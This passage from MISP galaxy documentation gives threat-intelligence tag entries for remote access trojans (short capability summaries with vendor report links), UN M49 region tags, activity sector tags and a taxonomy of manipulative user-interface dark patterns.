GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: misp-galaxy:rat="GravityRAT"

Table 4312. Table References
Links
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

ARS VBS Loader

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim’s machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".

The tag is: misp-galaxy:rat="ARS VBS Loader"

ARS VBS Loader has relationships with:

similar: misp-galaxy:malpedia="ARS VBS Loader" with estimative-language:likelihood-probability="likely"

Table 4313. Table References
Links
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: misp-galaxy:rat="RadRAT"

RadRAT has relationships with:

similar: misp-galaxy:malpedia="RadRAT" with estimative-language:likelihood-probability="likely"

Table 4314. Table References
Links
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/
https://labs.bitdefender.com/wp-content/uploads/downloads/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: misp-galaxy:rat="FlawedAmmyy"

FlawedAmmyy has relationships with:

similar: misp-galaxy:malpedia="FlawedAmmyy" with estimative-language:likelihood-probability="likely"

Table 4315. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat

Spymaster Pro

Monitoring Software

The tag is: misp-galaxy:rat="Spymaster Pro"

Table 4316. Table References
Links
https://www.spymasterpro.com/
https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots

NavRAT

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email

The tag is: misp-galaxy:rat="NavRAT"

NavRAT has relationships with:

similar: misp-galaxy:malpedia="NavRAT" with estimative-language:likelihood-probability="likely"

Table 4317. Table References
Links
https://blog.talosintelligence.com/2018/05/navrat.html

joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: misp-galaxy:rat="joanap"

Table 4318. Table References
Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: misp-galaxy:rat="Sisfader"

Sisfader has relationships with:

similar: misp-galaxy:malpedia="Sisfader" with estimative-language:likelihood-probability="likely"

Table 4319. Table References
Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: misp-galaxy:rat="SocketPlayer"

Table 4320. Table References
Links
https://file.gdatasoftware.com/web/en/documents/whitepaper/G_DATA_SocketPlayer_Analysis.pdf
https://volon.io/2018/06/targeted-attack-on-indian-defense-officials-using-socketplayer-malware/

Hallaj PRO RAT

RAT

The tag is: misp-galaxy:rat="Hallaj PRO RAT"

Table 4321. Table References
Links
https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/

NukeSped

This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don’t follow the malicious hacker’s commands.

The tag is: misp-galaxy:rat="NukeSped"

Table 4322. Table References
Links
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj_{NukeSped-Z.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}NukeSped-Z.aspx]
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win64/NukeSped&ThreatID=-2147238204
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win64/NukeSped!bit&ThreatID=-2147238152
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/NukeSped
https://malwarefixes.com/threats/win32nukesped/
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

TheOneSpy

Remotely monitor and control any wrong activity of kids on all smartphones & computers

The tag is: misp-galaxy:rat="TheOneSpy"

Table 4323. Table References
Links
https://www.theonespy.com/

BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: misp-galaxy:rat="BONDUPDATER"

Table 4324. Table References
Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

FlawedGrace

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: misp-galaxy:rat="FlawedGrace"

Table 4325. Table References
Links
https://www.bleepingcomputer.com/news/security/new-servhelper-backdoor-and-flawedgrace-rat-pushed-by-necurs-botnet/

H-worm

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.

The tag is: misp-galaxy:rat="H-worm"

Table 4326. Table References
Links
https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Parasite-HTTP-RAT

The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.

The tag is: misp-galaxy:rat="Parasite-HTTP-RAT"

Parasite-HTTP-RAT is also known as:

Parasite HTTP

Table 4327. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

Caesar RAT

Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.

The tag is: misp-galaxy:rat="Caesar RAT"

Table 4328. Table References
Links
https://securityonline.info/caesarrat-http-based-rat/

FlawedAmmy

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims’ computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmyy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.

The tag is: misp-galaxy:rat="FlawedAmmy"

Table 4329. Table References
Links
https://www.helpnetsecurity.com/2018/11/14/flawedammy-most-wanted-malware-list/

Felipe

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user’s system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim’s debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The tag is: misp-galaxy:rat="Felipe"

Table 4330. Table References
Links
https://www.zscaler.com/blogs/research/felipe-new-infostealer-trojan

Amavaldo Banking Trojan

Amavaldo is banking trojan writen in Delphi and known to targeting Spanish or Portuguese speaking countries. It contains backdoor functionality and can work as multi stage. Amavaldo also abuses legitimate tools and softwares

The tag is: misp-galaxy:rat="Amavaldo Banking Trojan"

Table 4331. Table References
Links
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/

AsyncRAT

Open-Source Remote Administration Tool For Windows C# (RAT)

The tag is: misp-galaxy:rat="AsyncRAT"

Table 4332. Table References
Links
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

InnfiRAT

new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine

The tag is: misp-galaxy:rat="InnfiRAT"

Table 4333. Table References
Links
https://www.zscaler.com/blogs/research/innfirat-new-rat-aiming-your-cryptocurrency-and-more

KeyBase

In the wild since February 2015. The malware comes equipped with a variety of features and can be purchased for $50 directly from the author. It has been deployed in attacks against organizations across many industries and is predominantly delivered via phishing emails.

The tag is: misp-galaxy:rat="KeyBase"

Table 4334. Table References
Links
https://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/

Warzone

Apparently existing since 2018

The tag is: misp-galaxy:rat="Warzone"

Table 4335. Table References
Links
https://warzone.pw

SDBbot

SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence. SDBbot is composed of three pieces: an installer, a loader, and a RAT component.

The tag is: misp-galaxy:rat="SDBbot"

SDBbot is also known as:

SDB bot

Table 4336. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

Regions UN M49

Regions based on UN M49..

Regions UN M49 is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Unknown

001 - World

The tag is: misp-galaxy:region="001 - World"

002 - Africa

The tag is: misp-galaxy:region="002 - Africa"

019 - Americas

The tag is: misp-galaxy:region="019 - Americas"

142 - Asia

The tag is: misp-galaxy:region="142 - Asia"

150 - Europe

The tag is: misp-galaxy:region="150 - Europe"

009 - Oceania

The tag is: misp-galaxy:region="009 - Oceania"

015 - Northern Africa

The tag is: misp-galaxy:region="015 - Northern Africa"

202 - Sub-Saharan Africa

The tag is: misp-galaxy:region="202 - Sub-Saharan Africa"

419 - Latin America and the Caribbean

The tag is: misp-galaxy:region="419 - Latin America and the Caribbean"

021 - Northern America

The tag is: misp-galaxy:region="021 - Northern America"

143 - Central Asia

The tag is: misp-galaxy:region="143 - Central Asia"

030 - Eastern Asia

The tag is: misp-galaxy:region="030 - Eastern Asia"

035 - South-eastern Asia

The tag is: misp-galaxy:region="035 - South-eastern Asia"

034 - Southern Asia

The tag is: misp-galaxy:region="034 - Southern Asia"

145 - Western Asia

The tag is: misp-galaxy:region="145 - Western Asia"

151 - Eastern Europe

The tag is: misp-galaxy:region="151 - Eastern Europe"

154 - Northern Europe

The tag is: misp-galaxy:region="154 - Northern Europe"

039 - Southern Europe

The tag is: misp-galaxy:region="039 - Southern Europe"

155 - Western Europe

The tag is: misp-galaxy:region="155 - Western Europe"

053 - Australia and New Zealand

The tag is: misp-galaxy:region="053 - Australia and New Zealand"

054 - Melanesia

The tag is: misp-galaxy:region="054 - Melanesia"

057 - Micronesia

The tag is: misp-galaxy:region="057 - Micronesia"

061 - Polynesia

The tag is: misp-galaxy:region="061 - Polynesia"

014 - Eastern Africa

The tag is: misp-galaxy:region="014 - Eastern Africa"

017 - Middle Africa

The tag is: misp-galaxy:region="017 - Middle Africa"

018 - Southern Africa

The tag is: misp-galaxy:region="018 - Southern Africa"

011 - Western Africa

The tag is: misp-galaxy:region="011 - Western Africa"

029 - Caribbean

The tag is: misp-galaxy:region="029 - Caribbean"

013 - Central America

The tag is: misp-galaxy:region="013 - Central America"

005 - South America

The tag is: misp-galaxy:region="005 - South America"

830 - Channel Islands

The tag is: misp-galaxy:region="830 - Channel Islands"

Sector

Activity sectors.

Sector is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Various

Unknown

The tag is: misp-galaxy:sector="Unknown"

Other

The tag is: misp-galaxy:sector="Other"

Academia - University

The tag is: misp-galaxy:sector="Academia - University"

Activists

The tag is: misp-galaxy:sector="Activists"

Aerospace

The tag is: misp-galaxy:sector="Aerospace"

Agriculture

The tag is: misp-galaxy:sector="Agriculture"

Arts

The tag is: misp-galaxy:sector="Arts"

Bank

The tag is: misp-galaxy:sector="Bank"

Chemical

The tag is: misp-galaxy:sector="Chemical"

Citizens

The tag is: misp-galaxy:sector="Citizens"

Civil Aviation

The tag is: misp-galaxy:sector="Civil Aviation"

Country

The tag is: misp-galaxy:sector="Country"

Culture

The tag is: misp-galaxy:sector="Culture"

Data Broker

The tag is: misp-galaxy:sector="Data Broker"

Defense

The tag is: misp-galaxy:sector="Defense"

Development

The tag is: misp-galaxy:sector="Development"

Diplomacy

The tag is: misp-galaxy:sector="Diplomacy"

Education

The tag is: misp-galaxy:sector="Education"

Electric

The tag is: misp-galaxy:sector="Electric"

Electronic

The tag is: misp-galaxy:sector="Electronic"

Employment

The tag is: misp-galaxy:sector="Employment"

Energy

The tag is: misp-galaxy:sector="Energy"

Entertainment

The tag is: misp-galaxy:sector="Entertainment"

Environment

The tag is: misp-galaxy:sector="Environment"

Finance

The tag is: misp-galaxy:sector="Finance"

Food

The tag is: misp-galaxy:sector="Food"

Game

The tag is: misp-galaxy:sector="Game"

Gas

The tag is: misp-galaxy:sector="Gas"

Government, Administration

The tag is: misp-galaxy:sector="Government, Administration"

Health

The tag is: misp-galaxy:sector="Health"

Higher education

The tag is: misp-galaxy:sector="Higher education"

Hotels

The tag is: misp-galaxy:sector="Hotels"

Infrastructure

The tag is: misp-galaxy:sector="Infrastructure"

Intelligence

The tag is: misp-galaxy:sector="Intelligence"

IT

The tag is: misp-galaxy:sector="IT"

IT - Hacker

The tag is: misp-galaxy:sector="IT - Hacker"

IT - ISP

The tag is: misp-galaxy:sector="IT - ISP"

IT - Security

The tag is: misp-galaxy:sector="IT - Security"

Justice

The tag is: misp-galaxy:sector="Justice"

Manufacturing

The tag is: misp-galaxy:sector="Manufacturing"

Maritime

The tag is: misp-galaxy:sector="Maritime"

Military

The tag is: misp-galaxy:sector="Military"

Multi-sector

The tag is: misp-galaxy:sector="Multi-sector"

News - Media

The tag is: misp-galaxy:sector="News - Media"

NGO

The tag is: misp-galaxy:sector="NGO"

Oil

The tag is: misp-galaxy:sector="Oil"

Payment

The tag is: misp-galaxy:sector="Payment"

Pharmacy

The tag is: misp-galaxy:sector="Pharmacy"

Police - Law enforcement

The tag is: misp-galaxy:sector="Police - Law enforcement"

Research - Innovation

The tag is: misp-galaxy:sector="Research - Innovation"

Satellite navigation

The tag is: misp-galaxy:sector="Satellite navigation"

Security systems

The tag is: misp-galaxy:sector="Security systems"

Social networks

The tag is: misp-galaxy:sector="Social networks"

Space

The tag is: misp-galaxy:sector="Space"

Steel

The tag is: misp-galaxy:sector="Steel"

Telecoms

The tag is: misp-galaxy:sector="Telecoms"

Think Tanks

The tag is: misp-galaxy:sector="Think Tanks"

Trade

The tag is: misp-galaxy:sector="Trade"

Transport

The tag is: misp-galaxy:sector="Transport"

Travel

The tag is: misp-galaxy:sector="Travel"

Turbine

The tag is: misp-galaxy:sector="Turbine"

Tourism

The tag is: misp-galaxy:sector="Tourism"

Life science

The tag is: misp-galaxy:sector="Life science"

Biomedical

The tag is: misp-galaxy:sector="Biomedical"

High tech

The tag is: misp-galaxy:sector="High tech"

Opposition

The tag is: misp-galaxy:sector="Opposition"

Political party

The tag is: misp-galaxy:sector="Political party"

Hospitality

The tag is: misp-galaxy:sector="Hospitality"

Automotive

The tag is: misp-galaxy:sector="Automotive"

Metal

The tag is: misp-galaxy:sector="Metal"

Railway

The tag is: misp-galaxy:sector="Railway"

Water

The tag is: misp-galaxy:sector="Water"

Smart meter

The tag is: misp-galaxy:sector="Smart meter"

Retail

The tag is: misp-galaxy:sector="Retail"

Technology

The tag is: misp-galaxy:sector="Technology"

engineering

The tag is: misp-galaxy:sector="engineering"

Mining

The tag is: misp-galaxy:sector="Mining"

Sport

The tag is: misp-galaxy:sector="Sport"

Restaurant

The tag is: misp-galaxy:sector="Restaurant"

Semi-conductors

The tag is: misp-galaxy:sector="Semi-conductors"

Insurance

The tag is: misp-galaxy:sector="Insurance"

Legal

The tag is: misp-galaxy:sector="Legal"

Shipping

The tag is: misp-galaxy:sector="Shipping"

Logistic

The tag is: misp-galaxy:sector="Logistic"

Construction

The tag is: misp-galaxy:sector="Construction"

Industrial

The tag is: misp-galaxy:sector="Industrial"

Communication equipment

The tag is: misp-galaxy:sector="Communication equipment"

Security Service

The tag is: misp-galaxy:sector="Security Service"

Tax firm

The tag is: misp-galaxy:sector="Tax firm"

Television broadcast

The tag is: misp-galaxy:sector="Television broadcast"

Separatists

The tag is: misp-galaxy:sector="Separatists"

Dissidents

The tag is: misp-galaxy:sector="Dissidents"

Digital services

The tag is: misp-galaxy:sector="Digital services"

Digital infrastructure

The tag is: misp-galaxy:sector="Digital infrastructure"

Security actors

The tag is: misp-galaxy:sector="Security actors"

eCommerce

The tag is: misp-galaxy:sector="eCommerce"

Islamic forums

The tag is: misp-galaxy:sector="Islamic forums"

Journalist

The tag is: misp-galaxy:sector="Journalist"

Streaming service

The tag is: misp-galaxy:sector="Streaming service"

Publishing industry

The tag is: misp-galaxy:sector="Publishing industry"

Islamic organisation

The tag is: misp-galaxy:sector="Islamic organisation"

Casino

The tag is: misp-galaxy:sector="Casino"

Consulting

The tag is: misp-galaxy:sector="Consulting"

Online marketplace

The tag is: misp-galaxy:sector="Online marketplace"

DNS service provider

The tag is: misp-galaxy:sector="DNS service provider"

Veterinary

The tag is: misp-galaxy:sector="Veterinary"

Marketing

The tag is: misp-galaxy:sector="Marketing"

Video Sharing

The tag is: misp-galaxy:sector="Video Sharing"

Advertising

The tag is: misp-galaxy:sector="Advertising"

Investment

The tag is: misp-galaxy:sector="Investment"

Accounting

The tag is: misp-galaxy:sector="Accounting"

Programming

The tag is: misp-galaxy:sector="Programming"

Managed Services Provider

The tag is: misp-galaxy:sector="Managed Services Provider"

Lawyers

The tag is: misp-galaxy:sector="Lawyers"

Civil society

The tag is: misp-galaxy:sector="Civil society"

Petrochemical

The tag is: misp-galaxy:sector="Petrochemical"

Immigration

The tag is: misp-galaxy:sector="Immigration"

Dark Patterns

Dark Patterns are user interface that tricks users into making decisions that benefit the interface’s holder to the expense of the user..

Dark Patterns is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Jean-Louis Huynen

Nagging

Repeated requests to do something the firms prefer

The tag is: misp-galaxy:social-dark-patterns="Nagging"

Table 4337. Table References
Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Activity Messages

Misleading notice about other consumers' actions

The tag is: misp-galaxy:social-dark-patterns="Activity Messages"

Table 4338. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Testimonials

Misleading statements from customers

The tag is: misp-galaxy:social-dark-patterns="Testimonials"

Table 4339. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Roach Motel

Asymmetry between signing up and canceling

The tag is: misp-galaxy:social-dark-patterns="Roach Motel"

Table 4340. Table References
Links
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Price Comparison Prevention

Frustrates comparison shopping

The tag is: misp-galaxy:social-dark-patterns="Price Comparison Prevention"

Table 4341. Table References
Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Intermediate Currency

Purchases in virtual currency to obscure cost

The tag is: misp-galaxy:social-dark-patterns="Intermediate Currency"

Table 4342. Table References
Links
https://www.darkpatterns.org/
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Sneak into Basket

Item consumer did not add is in cart

The tag is: misp-galaxy:social-dark-patterns="Sneak into Basket"

Table 4343. Table References
Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden Costs

Costs obscured / disclosed late in transaction

The tag is: misp-galaxy:social-dark-patterns="Hidden Costs"

Table 4344. Table References
Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden subscription / forced continuity

Unanticipated / undesired automatic renewal

The tag is: misp-galaxy:social-dark-patterns="Hidden subscription / forced continuity"

Table 4345. Table References
Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Bait & Switch

Customer sold something other than what’s originally advertised

The tag is: misp-galaxy:social-dark-patterns="Bait & Switch"

Table 4346. Table References
Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden information / aesthetic manipulation / false hierarchy

Important information visually obscured

The tag is: misp-galaxy:social-dark-patterns="Hidden information / aesthetic manipulation / false hierarchy"

Table 4347. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Preselection

Firm-friendly default is preselected

The tag is: misp-galaxy:social-dark-patterns="Preselection"

Table 4348. Table References
Links
https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf[https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf]
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Toying with emotion

Emotionally manipulative framing

The tag is: misp-galaxy:social-dark-patterns="Toying with emotion"

Table 4349. Table References
Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Trick questions

Intentional or obvious ambiguity

The tag is: misp-galaxy:social-dark-patterns="Trick questions"

Table 4350. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Disguised Ad

Consumer induced to click on something that isn’t apparent ad

The tag is: misp-galaxy:social-dark-patterns="Disguised Ad"

Table 4351. Table References
Links
https://dl.acm.org/citation.cfm?id=3174108
https://www.darkpatterns.org/types-of-dark-pattern
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Confirmshaming

Choice framed in way that seems dishonest / stupid

The tag is: misp-galaxy:social-dark-patterns="Confirmshaming"

Table 4352. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://www.darkpatterns.org/types-of-dark-pattern
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Forced Registration

Consumer tricked into thinking registration necessary

The tag is: misp-galaxy:social-dark-patterns="Forced Registration"

Table 4353. Table References
Links
https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf[https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf]
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Low stock / high-demand message

Consumer falsely informed of limited quantities

The tag is: misp-galaxy:social-dark-patterns="Low stock / high-demand message"

Table 4354. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Countdown timer / Limited time message

Opportunity ends soon with blatant false visual cue

The tag is: misp-galaxy:social-dark-patterns="Countdown timer / Limited time message"

Table 4355. Table References
Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

SoD Matrix

SOD Matrix.

SoD Matrix is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Koen Van Impe